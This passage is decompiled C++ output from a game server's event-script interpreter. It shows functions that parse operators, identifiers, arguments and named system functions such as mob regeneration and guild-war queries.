v8; // [sp+104h] [bp-4h]@1 v8 = (unsigned int)&tkn ^ __security_cookie; v2 = this; tkn.pst_Buffer[0] = 0; if ( PineScriptReader::TokenReader::tr_GetToken(tr, &tkn) && tkn.pst_Buffer[0] == 61 ) { v4 = strlen(tkn.pst_Buffer) + 1; v5 = (char *)&v2->baseclass_0.vfptr + 3; do { v6 = *((_BYTE *)v5 + 1); v5 = (char *)v5 + 1; } while ( v6 ); memcpy(v5, &tkn, v4); v2->co_OperType = 2; result = 1; } else { result = 0; } return result; } //----- (004BF140) -------------------------------------------------------- unsigned __int16 __thiscall PineEventScriptNode::CompareOperator::co_NotEqual(PineEventScriptNode::CompareOperator *this, PineScriptReader::TokenReader *tr) { PineEventScriptNode::CompareOperator *v2; // esi@1 unsigned __int16 result; // ax@2 unsigned int v4; // eax@5 void *v5; // ecx@5 char v6; // dl@6 PineScriptToken tkn; // [sp+8h] [bp-104h]@1 unsigned int v8; // [sp+108h] [bp-4h]@1 v8 = (unsigned int)&tkn ^ __security_cookie; v2 = this; tkn.pst_Buffer[0] = 0; if ( PineScriptReader::TokenReader::tr_GetToken(tr, &tkn) ) { if ( tkn.pst_Buffer[0] == 61 ) { v2->co_OperType = (v2->co_Oper.pst_Buffer[0] == 62) + 5; v4 = strlen(tkn.pst_Buffer) + 1; v5 = (char *)&v2->baseclass_0.vfptr + 3; do { v6 = *((_BYTE *)v5 + 1); v5 = (char *)v5 + 1; } while ( v6 ); memcpy(v5, &tkn, v4); } else { v2->co_OperType = (v2->co_Oper.pst_Buffer[0] == 62) + 3; memcpy(&tr->tr_UngetToken, &tkn, sizeof(tr->tr_UngetToken)); } result = 1; } else { result = 0; } return result; } //----- (004BF210) -------------------------------------------------------- void __thiscall PineEventScriptNode::Identify::_Identify(PineEventScriptNode::Identify *this) { PineEventScriptNode::Identify *v1; // esi@1 PineEventScriptNode::Id *v2; // eax@1 void *v3; // edi@3 v1 = this; this->baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::Identify::_vftable_; v2 = this->i_Id; if ( v2 ) { v2->baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ScriptAtom::_vftable_; operator delete(v2); } v3 = v1->i_Exp; if ( v3 ) { PineEventScriptNode::Express::_Express(v1->i_Exp); operator delete(v3); } v1->baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ScriptAtom::_vftable_; } // 650BB4: using guessed type int (*PineEventScriptNode__ScriptAtom___vftable_)(); // 650C84: using guessed type int (__stdcall *PineEventScriptNode__Identify___vftable_)(int tr); //----- (004BF280) -------------------------------------------------------- void __thiscall PineEventScriptNode::Block::_Block(PineEventScriptNode::Block *this) { PineEventScriptNode::Block *v1; // esi@1 List *v2; // edi@1 void *v3; // eax@2 void *v4; // edi@5 void *v5; // eax@6 void *v6; // ebx@7 v1 = this; this->baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::Block::_vftable_; v2 = this->b_StatementList; if ( v2 ) { v3 = v2->l_Array; v2->vfptr = (ListVtbl *)List::_vftable_; if ( v3 ) operator delete__(v3); operator delete(v2); } v4 = v1->b_StatementArray; if ( v4 ) { v5 = *(void **)v4; if ( *(_DWORD *)v4 ) { v6 = (char *)v5 - 4; _eh_vector_destructor_iterator_( v5, 8u, *((_DWORD *)v5 - 1), (void (__thiscall *)(void *))PineEventScriptNode::Statement::_Statement); operator delete__(v6); } operator delete(v4); } v1->b_BlockName.bn_Name.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ScriptAtom::_vftable_; v1->b_BlockName.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ScriptAtom::_vftable_; v1->baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ScriptAtom::_vftable_; } // 650BB4: using guessed type int (*PineEventScriptNode__ScriptAtom___vftable_)(); // 650D98: using guessed type int (__stdcall *List_PineEventScriptNode__Statement____vftable_[3])(__int16 hnd); // 650FA0: using guessed type int (__stdcall *PineEventScriptNode__Block___vftable_)(int tr); //----- (004BF330) -------------------------------------------------------- void __thiscall PineEventScriptNode::StateVarDeclear::StateVarDeclear(PineEventScriptNode::StateVarDeclear *this) { PineEventScriptNode::StateVarDeclear *v1; // esi@1 v1 = this; this->baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::StateVarDeclear::_vftable_; _eh_vector_constructor_iterator_( this->svd_VarName, 0xCu, 64, (void (__thiscall *)(void *))PineEventScriptNode::Identify::Identify, (void (__thiscall *)(void *))PineEventScriptNode::Identify::_Identify); _eh_vector_constructor_iterator_( v1->svd_Express, 0x11Cu, 64, (void (__thiscall *)(void *))PineEventScriptNode::Express::Express, (void (__thiscall *)(void *))PineEventScriptNode::Express::_Express); } // 650FB4: using guessed type int (__stdcall *PineEventScriptNode__StateVarDeclear___vftable_)(int tr); //----- (004BF3B0) -------------------------------------------------------- void __thiscall PineEventScriptNode::OtherStatement::OtherStatement(PineEventScriptNode::OtherStatement *this, char *command, unsigned __int16 idread, int expressnummin, int expressnummax) { PineEventScriptNode::OtherStatement *v5; // eax@1 char *v6; // ecx@1 char v7; // dl@2 v5 = this; this->baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::OtherStatement::_vftable_; this->os_Ident.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::Identify::_vftable_; this->os_Ident.i_Id = 0; this->os_Ident.i_Exp = 0; this->os_ExpressNumMax = expressnummax; this->os_ExpressNumMin = expressnummin; v6 = command; do { v7 = *v6; v6[(char *)v5 - command + 4] = *v6; ++v6; } while ( v7 ); v5->os_Express[0] = 0; v5->os_Express[1] = 0; v5->os_Express[2] = 0; v5->os_Express[3] = 0; v5->os_Express[4] = 0; v5->os_Express[5] = 0; v5->os_Express[6] = 0; v5->os_Express[7] = 0; v5->os_Express[8] = 0; v5->os_Express[9] = 0; v5->os_Express[10] = 0; v5->os_Express[11] = 0; v5->os_Express[12] = 0; v5->os_Express[13] = 0; v5->os_Express[14] = 0; v5->os_Express[15] = 0; v5->os_Express[16] = 0; v5->os_Express[17] = 0; v5->os_Express[18] = 0; v5->os_Express[19] = 0; v5->os_Express[20] = 0; v5->os_Express[21] = 0; v5->os_Express[22] = 0; v5->os_Express[23] = 0; v5->os_Express[24] = 0; v5->os_Express[25] = 0; v5->os_Express[26] = 0; v5->os_Express[27] = 0; v5->os_Express[28] = 0; v5->os_Express[29] = 0; v5->os_Express[30] = 0; v5->os_Express[31] = 0; v5->os_IDRead = idread; } // 650C84: using guessed type int (__stdcall *PineEventScriptNode__Identify___vftable_)(int tr); // 651018: using guessed type int (__stdcall *PineEventScriptNode__OtherStatement___vftable_)(int tr); //----- (004BF490) -------------------------------------------------------- void __thiscall PineEventScriptNode::OtherStatement::_OtherStatement(PineEventScriptNode::OtherStatement *this) { PineEventScriptNode::OtherStatement *v1; // ebx@1 PineEventScriptNode::Express **v2; // edi@1 signed int v3; // ebp@1 void *v4; // esi@2 v1 = this; this->baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::OtherStatement::_vftable_; v2 = this->os_Express; v3 = 32; do { v4 = *v2; if ( *v2 ) { PineEventScriptNode::Express::_Express(*v2); operator delete(v4); } ++v2; --v3; } while ( v3 ); PineEventScriptNode::Identify::_Identify(&v1->os_Ident); v1->baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ScriptAtom::_vftable_; } // 650BB4: using guessed type int (*PineEventScriptNode__ScriptAtom___vftable_)(); // 651018: using guessed type int (__stdcall *PineEventScriptNode__OtherStatement___vftable_)(int tr); //----- (004BF510) -------------------------------------------------------- PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::StateVarDeclear::sb_CloneMe(PineEventScriptNode::StateVarDeclear *this) { void *v1; // eax@1 PineEventScriptNode::StatementBase *result; // eax@2 v1 = operator new(0x4A08u); if ( v1 ) PineEventScriptNode::StateVarDeclear::StateVarDeclear((PineEventScriptNode::StateVarDeclear *)v1); else result = 0; return result; } //----- (004BF570) -------------------------------------------------------- PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::StatePermillage::sb_CloneMe(PineEventScriptNode::StatePermillage *this) { PineEventScriptNode::StatementBase *result; // eax@1 result = (PineEventScriptNode::StatementBase *)operator new(0x10u); if ( result ) { result->baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::StatePermillage::_vftable_; result[1].baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::Identify::_vftable_; result[2].baseclass_0.vfptr = 0; result[3].baseclass_0.vfptr = 0; } else { result = 0; } return result; } // 650C84: using guessed type int (__stdcall *PineEventScriptNode__Identify___vftable_)(int tr); // 650FF0: using guessed type int (__stdcall *PineEventScriptNode__StatePermillage___vftable_)(int tr); //----- (004BF5A0) -------------------------------------------------------- PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::StateAssignment::sb_CloneMe(PineEventScriptNode::StateAssignment *this) { PineEventScriptNode::StatementBase *result; // eax@1 result = (PineEventScriptNode::StatementBase *)operator new(0x12Cu); if ( result ) { result->baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::StateAssignment::_vftable_; result[1].baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::Identify::_vftable_; result[2].baseclass_0.vfptr = 0; result[3].baseclass_0.vfptr = 0; result[4].baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::Express::_vftable_; result[5].baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::Term::_vftable_; result[7].baseclass_0.vfptr = 0; result[6].baseclass_0.vfptr = 0; result[8].baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::CalculateOperator::_vftable_; LOBYTE(result[9].baseclass_0.vfptr) = 0; result[73].baseclass_0.vfptr = 0; result[74].baseclass_0.vfptr = 0; } else { result = 0; } return result; } // 650BC4: using guessed type int (__stdcall *PineEventScriptNode__CalculateOperator___vftable_)(int tr); // 650C84: using guessed type int (__stdcall *PineEventScriptNode__Identify___vftable_)(int tr); // 650CA4: using guessed type int (__stdcall *PineEventScriptNode__Term___vftable_)(int tr); // 650E08: using guessed type int (__stdcall *PineEventScriptNode__Express___vftable_)(int tr); // 651004: using guessed type int (__stdcall *PineEventScriptNode__StateAssignment___vftable_)(int tr); //----- (004BF600) -------------------------------------------------------- void __thiscall PineEventScriptNode::Block::l_Clone(PineEventScriptNode::Block *this, PineEventScriptNode::Block *blk) { memcpy(&this->b_BlockName.bn_Name.i_Identify, &blk->b_BlockName.bn_Name.i_Identify, 0x10Cu); blk->b_StatementList = 0; blk->b_StatementArray = 0; } //----- (004BF650) -------------------------------------------------------- unsigned __int16 __thiscall PineEventScriptNode::StateAssignment::sa_Step(PineEventScriptNode::StateAssignment *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip) { PineEventScriptNode::StateAssignment *v4; // ebx@1 PineEventScriptNode::Identify *v5; // edi@1 PineScriptToken *v6; // eax@1 unsigned __int16 result; // ax@2 int v8; // eax@4 v4 = this; v5 = &this->sa_LeftValue; scrpttrcr.st_ProcessStack = ps; PineScriptTracer::ScriptTracer::operator<<(&scrpttrcr, &this->sa_LeftValue); v6 = PineEventScriptNode::Identify::i_GetVariable(v5, ps); if ( v6 ) { if ( (int)v4->sa_Express.baseclass_0.vfptr->sa_Calculate((PineEventScriptNode::ScriptAtom *)&v4->sa_Express, v6, ps) && (v8 = ps->ps_StackPoint) != 0 ) { ps->ps_StackPoint = v8 - 1; result = 1; } else { result = 0; } } else { result = 0; } return result; } //----- (004BF6C0) -------------------------------------------------------- unsigned __int16 __thiscall PineEventScriptNode::CompareOperator::sa_Load(PineEventScriptNode::CompareOperator *this, PineScriptReader::TokenReader *tr) { PineEventScriptNode::CompareOperator *v2; // esi@1 char *v3; // edi@1 unsigned __int16 result; // ax@3 v2 = this; v3 = (char *)&this->co_Oper; if ( PineScriptReader::TokenReader::tr_GetToken(tr, &this->co_Oper) ) { switch ( *v3 ) { case 0x3D: result = PineEventScriptNode::CompareOperator::co_Equal(v2, tr); break; case 0x21: result = PineEventScriptNode::CompareOperator::co_Excremation(v2, tr); break; case 0x3C: case 0x3E: result = PineEventScriptNode::CompareOperator::co_NotEqual(v2, tr); break; default: goto LABEL_6; } } else { LABEL_6: result = 0; } return result; } //----- (004BF760) -------------------------------------------------------- unsigned __int16 __thiscall PineEventScriptNode::CalculateOperator::sa_Load(PineEventScriptNode::CalculateOperator *this, PineScriptReader::TokenReader *tr) { PineEventScriptNode::CalculateOperator *v2; // edi@1 const void *v3; // esi@1 unsigned __int16 result; // ax@3 v2 = this; v3 = &this->co_Oper; if ( PineScriptReader::TokenReader::tr_GetToken(tr, &this->co_Oper) ) { switch ( *(_BYTE *)v3 ) { case 0x2B: v2->co_OperType = 9; result = 1; break; case 0x2D: v2->co_OperType = 10; result = 1; break; case 0x2A: v2->co_OperType = 11; result = 1; break; case 0x2F: v2->co_OperType = 12; result = 1; break; case 0x25: v2->co_OperType = 13; result = 1; break; default: memcpy(&tr->tr_UngetToken, v3, sizeof(tr->tr_UngetToken)); goto LABEL_9; } } else { LABEL_9: result = 0; } return result; } //----- (004BF830) -------------------------------------------------------- unsigned __int16 __thiscall PineEventScriptNode::String::sa_Load(PineEventScriptNode::String *this, PineScriptReader::TokenReader *tr) { PineScriptToken *v2; // esi@1 v2 = &this->s_String; if ( PineScriptReader::TokenReader::tr_GetToken(tr, &this->s_String) ) { if ( v2->pst_Buffer[0] == 34 ) return PineScriptToken::pst_RemoveQuatator(v2); memcpy(&tr->tr_UngetToken, v2, sizeof(tr->tr_UngetToken)); } return 0; } //----- (004BF870) -------------------------------------------------------- unsigned __int16 __thiscall PineEventScriptNode::Number::sa_Load(PineEventScriptNode::Number *this, PineScriptReader::TokenReader *tr) { char *v2; // esi@1 signed int v3; // eax@2 char *v4; // ecx@3 v2 = (char *)&this->n_Number; if ( PineScriptReader::TokenReader::tr_GetToken(tr, &this->n_Number) ) { LOBYTE(v3) = *v2; if ( !*v2 ) return 1; v4 = v2; while ( 1 ) { v3 = (unsigned __int8)v3; if ( (signed int)(unsigned __int8)v3 < 48 ) break; if ( v3 > 57 ) break; LOBYTE(v3) = (v4++)[1]; if ( !(_BYTE)v3 ) return 1; } memcpy(&tr->tr_UngetToken, v2, sizeof(tr->tr_UngetToken)); } return 0; } //----- (004BF8C0) -------------------------------------------------------- unsigned __int16 __thiscall PineEventScriptNode::Id::sa_Load(PineEventScriptNode::Id *this, PineScriptReader::TokenReader *tr) { char *v2; // esi@1 signed int v3; // eax@2 v2 = (char *)&this->i_Identify; if ( PineScriptReader::TokenReader::tr_GetToken(tr, &this->i_Identify) ) { v3 = (unsigned __int8)*v2; if ( v3 >= 65 && v3 <= 90 || v3 >= 97 && v3 <= 122 || v3 == 95 ) return 1; memcpy(&tr->tr_UngetToken, v2, sizeof(tr->tr_UngetToken)); } return 0; } //----- (004BF910) -------------------------------------------------------- unsigned __int16 __thiscall PineEventScriptNode::Identify::sa_Load(PineEventScriptNode::Identify *this, PineScriptReader::TokenReader *tr) { unsigned __int16 result; // ax@2 int v3; // edi@3 PineScriptToken *v4; // esi@3 signed int v5; // ecx@3 bool v6; // zf@3 void *v7; // eax@7 PineEventScriptNode::Identify *v8; // ecx@8 PineEventScriptNode::Identify *v9; // [sp+8h] [bp-108h]@1 PineScriptToken tkn; // [sp+Ch] [bp-104h]@1 unsigned int v11; // [sp+10Ch] [bp-4h]@1 v11 = (unsigned int)&v9 ^ __security_cookie; v9 = this; tkn.pst_Buffer[0] = 0; if ( PineScriptReader::TokenReader::tr_GetToken(tr, &tkn) ) { v3 = (int)"#"; v4 = &tkn; v5 = 2; v6 = 1; do { if ( !v5 ) break; v6 = v4->pst_Buffer[0] == *(_BYTE *)v3; v4 = (PineScriptToken *)((char *)v4 + 1); ++v3; --v5; } while ( v6 ); if ( v6 ) { v7 = operator new(0x11Cu); if ( v7 ) { v8 = v9; *(_DWORD *)v7 = &PineEventScriptNode::Express::_vftable_; *((_DWORD *)v7 + 1) = &PineEventScriptNode::Term::_vftable_; *((_DWORD *)v7 + 3) = 0; *((_DWORD *)v7 + 2) = 0; *((_DWORD *)v7 + 4) = &PineEventScriptNode::CalculateOperator::_vftable_; *((_BYTE *)v7 + 20) = 0; *((_DWORD *)v7 + 69) = 0; *((_DWORD *)v7 + 70) = 0; v8->i_Exp = (PineEventScriptNode::Express *)v7; } else { v7 = 0; v9->i_Exp = 0; } } else { memcpy(&tr->tr_UngetToken, &tkn, sizeof(tr->tr_UngetToken)); v7 = operator new(0x104u); if ( v7 ) { *(_DWORD *)v7 = &PineEventScriptNode::Id::_vftable_; *((_BYTE *)v7 + 4) = 0; } else { v7 = 0; } v9->i_Id = (PineEventScriptNode::Id *)v7; } result = (**(int (__thiscall ***)(void *, PineScriptReader::TokenReader *))v7)(v7, tr); } else { result = 0; } return result; } // 650BC4: using guessed type int (__stdcall *PineEventScriptNode__CalculateOperator___vftable_)(int tr); // 650C74: using guessed type int (__stdcall *PineEventScriptNode__Id___vftable_)(int tr); // 650CA4: using guessed type int (__stdcall *PineEventScriptNode__Term___vftable_)(int tr); // 650E08: using guessed type int (__stdcall *PineEventScriptNode__Express___vftable_)(int tr); //----- (004BFA10) -------------------------------------------------------- unsigned __int16 __thiscall PineEventScriptNode::ArgumentList::sa_Load(PineEventScriptNode::ArgumentList *this, PineScriptReader::TokenReader *tr) { int v2; // edi@2 PineScriptToken *v3; // esi@2 signed int v4; // ecx@2 bool v5; // zf@2 int v6; // edi@8 PineScriptToken *v7; // esi@8 signed int v8; // ecx@8 bool v9; // zf@8 void *v10; // eax@12 void *v11; // esi@13 PineEventScriptNode::ArgumentList *v12; // ecx@16 int v13; // eax@16 bool v14; // zf@18 int v15; // edi@18 PineScriptToken *v16; // esi@18 signed int v17; // ecx@18 PineEventScriptNode::ArgumentList *v19; // [sp+10h] [bp-10Ch]@1 int i; // [sp+14h] [bp-108h]@6 PineScriptToken tkn; // [sp+18h] [bp-104h]@1 unsigned int v22; // [sp+118h] [bp-4h]@1 v22 = (unsigned int)&v19 ^ __security_cookie; v19 = this; tkn.pst_Buffer[0] = 0; if ( PineScriptReader::TokenReader::tr_GetToken(tr, &tkn) ) { v2 = (int)"("; v3 = &tkn; v4 = 2; v5 = 1; do { if ( !v4 ) break; v5 = v3->pst_Buffer[0] == *(_BYTE *)v2; v3 = (PineScriptToken *)((char *)v3 + 1); ++v2; --v4; } while ( v5 ); if ( v5 ) { i = 0; v19 = (PineEventScriptNode::ArgumentList *)((char *)v19 + 4); while ( PineScriptReader::TokenReader::tr_GetToken(tr, &tkn) ) { v6 = (int)")"; v7 = &tkn; v8 = 2; v9 = 1; do { if ( !v8 ) break; v9 = v7->pst_Buffer[0] == *(_BYTE *)v6; v7 = (PineScriptToken *)((char *)v7 + 1); ++v6; --v8; } while ( v9 ); if ( v9 ) return 1; memcpy(&tr->tr_UngetToken, &tkn, sizeof(tr->tr_UngetToken)); v10 = operator new(0x11Cu); if ( v10 ) { *(_DWORD *)v10 = &PineEventScriptNode::Express::_vftable_; *((_DWORD *)v10 + 1) = &PineEventScriptNode::Term::_vftable_; *((_DWORD *)v10 + 3) = 0; *((_DWORD *)v10 + 2) = 0; *((_DWORD *)v10 + 4) = &PineEventScriptNode::CalculateOperator::_vftable_; *((_BYTE *)v10 + 20) = 0; *((_DWORD *)v10 + 69) = 0; *((_DWORD *)v10 + 70) = 0; v11 = v10; } else { v11 = 0; } if ( !(unsigned __int16)(**(int (__thiscall ***)(void *, PineScriptReader::TokenReader *))v11)(v11, tr) ) { *(_DWORD *)v11 = &PineEventScriptNode::ScriptAtom::_vftable_; operator delete(v11); return 0; } v12 = v19; v13 = i + 1; v19->baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)v11; i = v13; v19 = (PineEventScriptNode::ArgumentList *)((char *)v12 + 4); if ( (unsigned int)v13 >= 0xA ) { if ( !PineScriptReader::TokenReader::tr_GetToken(tr, &tkn) ) break; v14 = 1; v15 = (int)")"; v16 = &tkn; v17 = 2; do { if ( !v17 ) break; v14 = v16->pst_Buffer[0] == *(_BYTE *)v15; v16 = (PineScriptToken *)((char *)v16 + 1); ++v15; --v17; } while ( v14 ); return v14; } } } } memcpy(&tr->tr_UngetToken, &tkn, sizeof(tr->tr_UngetToken)); return 0; } // 650BB4: using guessed type int (*PineEventScriptNode__ScriptAtom___vftable_)(); // 650BC4: using guessed type int (__stdcall *PineEventScriptNode__CalculateOperator___vftable_)(int tr); // 650CA4: using guessed type int (__stdcall *PineEventScriptNode__Term___vftable_)(int tr); // 650E08: using guessed type int (__stdcall *PineEventScriptNode__Express___vftable_)(int tr); //----- (004BFB90) -------------------------------------------------------- unsigned __int16 __thiscall PineEventScriptNode::SystemFunction::sa_Load(PineEventScriptNode::SystemFunction *this, PineScriptReader::TokenReader *tr) { PineEventScriptNode::SystemFunction *v2; // ebx@1 int v3; // edi@2 PineScriptToken *v4; // esi@2 signed int v5; // ecx@2 bool v6; // zf@2 PineScriptToken _; // [sp+10h] [bp-308h]@9 PineScriptToken tkn; // [sp+110h] [bp-208h]@1 PineScriptToken funcname; // [sp+210h] [bp-108h]@7 unsigned int v11; // [sp+314h] [bp-4h]@1 int v12; // [sp+318h] [bp+0h]@1 v11 = (unsigned int)&v12 ^ __security_cookie; v2 = this; tkn.pst_Buffer[0] = 0; if ( PineScriptReader::TokenReader::tr_GetToken(tr, &tkn) ) { v3 = (int)"@"; v4 = &tkn; v5 = 2; v6 = 1; do { if ( !v5 ) break; v6 = v4->pst_Buffer[0] == *(_BYTE *)v3; v4 = (PineScriptToken *)((char *)v4 + 1); ++v3; --v5; } while ( v6 ); if ( v6 ) { funcname.pst_Buffer[0] = 0; if ( PineScriptReader::TokenReader::tr_GetToken(tr, &funcname) && (unsigned __int16)v2->sfm_ArgumentList.baseclass_0.vfptr->sa_Load(&v2->sfm_ArgumentList, tr) ) { memcpy(&_, &funcname, sizeof(_)); if ( PineScriptToken::operator__(&_, "SquarRoot") ) { v2->sfm_Function = (PineEventScriptNode::SysFuncBase *)&sysfuncsqrt; return 1; } if ( PineScriptToken::operator__(&_, "Distance") ) { v2->sfm_Function = (PineEventScriptNode::SysFuncBase *)&sysfuncdistance; return 1; } if ( PineScriptToken::operator__(&_, "Random") ) { v2->sfm_Function = (PineEventScriptNode::SysFuncBase *)&sysfuncrand; return 1; } if ( PineScriptToken::operator__(&_, "mobregen") ) { v2->sfm_Function = (PineEventScriptNode::SysFuncBase *)&sysfuncshinemobregen; return 1; } if ( PineScriptToken::operator__(&_, "doorbuild") ) { v2->sfm_Function = (PineEventScriptNode::SysFuncBase *)&sysfuncshinedoorbuild; return 1; } if ( PineScriptToken::operator__(&_, "npcstand") ) { v2->sfm_Function = (PineEventScriptNode::SysFuncBase *)&sysfuncshinenpcstand; return 1; } if ( PineScriptToken::operator__(&_, "change2mob") ) { v2->sfm_Function = (PineEventScriptNode::SysFuncBase *)&sysfuncshinechange2mob; return 1; } if ( PineScriptToken::operator__(&_, "change2door") ) { v2->sfm_Function = (PineEventScriptNode::SysFuncBase *)&sysfuncshinechange2door; return 1; } if ( PineScriptToken::operator__(&_, "change2npc") ) { v2->sfm_Function = (PineEventScriptNode::SysFuncBase *)&sysfuncshinechange2npc; return 1; } if ( PineScriptToken::operator__(&_, "Count") ) { v2->sfm_Function = (PineEventScriptNode::SysFuncBase *)&sysfuncshinecount; return 1; } if ( PineScriptToken::operator__(&_, "RestSec") ) { v2->sfm_Function = (PineEventScriptNode::SysFuncBase *)&sysfuncshinerestsec; return 1; } if ( PineScriptToken::operator__(&_, "CharClass") ) { v2->sfm_Function = (PineEventScriptNode::SysFuncBase *)&sysfuncshinecharclass; return 1; } if ( PineScriptToken::operator__(&_, "CharName") ) { v2->sfm_Function = (PineEventScriptNode::SysFuncBase *)&sysfuncshinecharname; return 1; } if ( PineScriptToken::operator__(&_, "DeathNum") ) { v2->sfm_Function = (PineEventScriptNode::SysFuncBase *)&sysfuncshinedeadnum; return 1; } if ( PineScriptToken::operator__(&_, "CircularScatter") ) { v2->sfm_Function = (PineEventScriptNode::SysFuncBase *)&sysfuncshinecircularlocate; return 1; } if ( PineScriptToken::operator__(&_, "RemoveFirst") ) { v2->sfm_Function = (PineEventScriptNode::SysFuncBase *)&sysfuncshineremovefisrt; return 1; } if ( PineScriptToken::operator__(&_, "GetObjectList") ) { v2->sfm_Function = (PineEventScriptNode::SysFuncBase *)&sysfuncshinegetobjectlist; return 1; } if ( PineScriptToken::operator__(&_, "KQResultList") ) { v2->sfm_Function = (PineEventScriptNode::SysFuncBase *)&sysfuncshinekqresultlist; return 1; } if ( PineScriptToken::operator__(&_, "KQTopList") ) { v2->sfm_Function = (PineEventScriptNode::SysFuncBase *)&sysfuncshinekqtoplist; return 1; } if ( PineScriptToken::operator__(&_, "DistanceBetween") ) { v2->sfm_Function = (PineEventScriptNode::SysFuncBase *)&sysfuncshinedistance; return 1; } if ( PineScriptToken::operator__(&_, "PlayerInArea") ) { v2->sfm_Function = (PineEventScriptNode::SysFuncBase *)&sysfuncshineplayerinarea; return 1; } if ( PineScriptToken::operator__(&_, "Range") ) { v2->sfm_Function = (PineEventScriptNode::SysFuncBase *)&sysfuncshinerange; return 1; } if ( PineScriptToken::operator__(&_, "IsGateUse") ) { v2->sfm_Function = (PineEventScriptNode::SysFuncBase *)&sysfuncshineisgateuse; return 1; } if ( PineScriptToken::operator__(&_, "GetWinnerGuild") ) { v2->sfm_Function = (PineEventScriptNode::SysFuncBase *)&sysfuncshinegetwinnerguild; return 1; } if ( PineScriptToken::operator__(&_, "GetLoseGuild") ) { v2->sfm_Function = (PineEventScriptNode::SysFuncBase *)&sysfuncshinegetloseGuild; return 1; } if ( PineScriptToken::operator__(&_, "WhereIs") ) { v2->sfm_Function = (PineEventScriptNode::SysFuncBase *)&sysfuncshinewhereis; return 1; } if ( PineScriptToken::operator__(&_, "sprintf") ) { v2->sfm_Function = (PineEventScriptNode::SysFuncBase *)&sysfuncshinesprintf1; return 1; } AssertClass::ac_AssertFail( &shineassert, "PineEventScriptNode::SystemFunction::sa_Load : undefined function", funcname.pst_Buffer); } } else { memcpy(&tr->tr_UngetToken, &tkn, sizeof(tr->tr_UngetToken)); } } return 0; } //----- (004C0220) -------------------------------------------------------- unsigned __int16 __thiscall PineEventScriptNode::Term::sa_Load(PineEventScriptNode::Term *this, PineScriptReader::TokenReader *tr) { PineEventScriptNode::Term *v2; // ebp@1 unsigned __int16 result; // ax@2 int v4; // edi@3 PineScriptToken *v5; // esi@3 signed int v6; // ecx@3 bool v7; // zf@3 void *v8; // eax@7 void *v9; // eax@10 PineEventScriptNode::ScriptAtom *v10; // eax@14 void *v11; // ST00_4@15 void *v12; // eax@16 PineEventScriptNode::ScriptAtom *v13; // eax@20 void *v14; // ST00_4@21 void *v15; // eax@22 PineEventScriptNode::ScriptAtom *v16; // eax@26 void *v17; // ST00_4@27 void *v18; // eax@28 PineEventScriptNode::ScriptAtom *v19; // eax@29 PineEventScriptNode::ScriptAtom *v20; // eax@32 void *v21; // ST00_4@33 void *v22; // eax@36 PineEventScriptNode::ScriptAtom *v23; // eax@37 PineEventScriptNode::ScriptAtom *v24; // eax@43 void *v25; // ST00_4@44 PineScriptToken tkn; // [sp+14h] [bp-104h]@1 unsigned int v27; // [sp+114h] [bp-4h]@1 v27 = (unsigned int)&tkn ^ __security_cookie; v2 = this; tkn.pst_Buffer[0] = 0; if ( !PineScriptReader::TokenReader::tr_GetToken(tr, &tkn) ) return 0; v4 = (int)"#"; v5 = &tkn; v6 = 2; v7 = 1; do { if ( !v6 ) break; v7 = v5->pst_Buffer[0] == *(_BYTE *)v4; v5 = (PineScriptToken *)((char *)v5 + 1); ++v4; --v6; } while ( v7 ); if ( !v7 ) { memcpy(&tr->tr_UngetToken, &tkn, sizeof(tr->tr_UngetToken)); v9 = operator new(0xCu); if ( v9 ) { *(_DWORD *)v9 = &PineEventScriptNode::Identify::_vftable_; *((_DWORD *)v9 + 1) = 0; *((_DWORD *)v9 + 2) = 0; } else { v9 = 0; } v2->t_Atom = (PineEventScriptNode::ScriptAtom *)v9; if ( (unsigned __int16)(**(int (__thiscall ***)(void *, PineScriptReader::TokenReader *))v9)(v9, tr) ) return 1; v10 = v2->t_Atom; if ( v10 ) { v11 = v2->t_Atom; v10->vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ScriptAtom::_vftable_; operator delete(v11); } v12 = operator new(0x104u); if ( v12 ) { *(_DWORD *)v12 = &PineEventScriptNode::Number::_vftable_; *((_BYTE *)v12 + 4) = 0; } else { v12 = 0; } v2->t_Atom = (PineEventScriptNode::ScriptAtom *)v12; if ( (unsigned __int16)(**(int (__thiscall ***)(void *, PineScriptReader::TokenReader *))v12)(v12, tr) ) return 1; v13 = v2->t_Atom; if ( v13 ) { v14 = v2->t_Atom; v13->vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ScriptAtom::_vftable_; operator delete(v14); } v15 = operator new(0x104u); if ( v15 ) { *(_DWORD *)v15 = 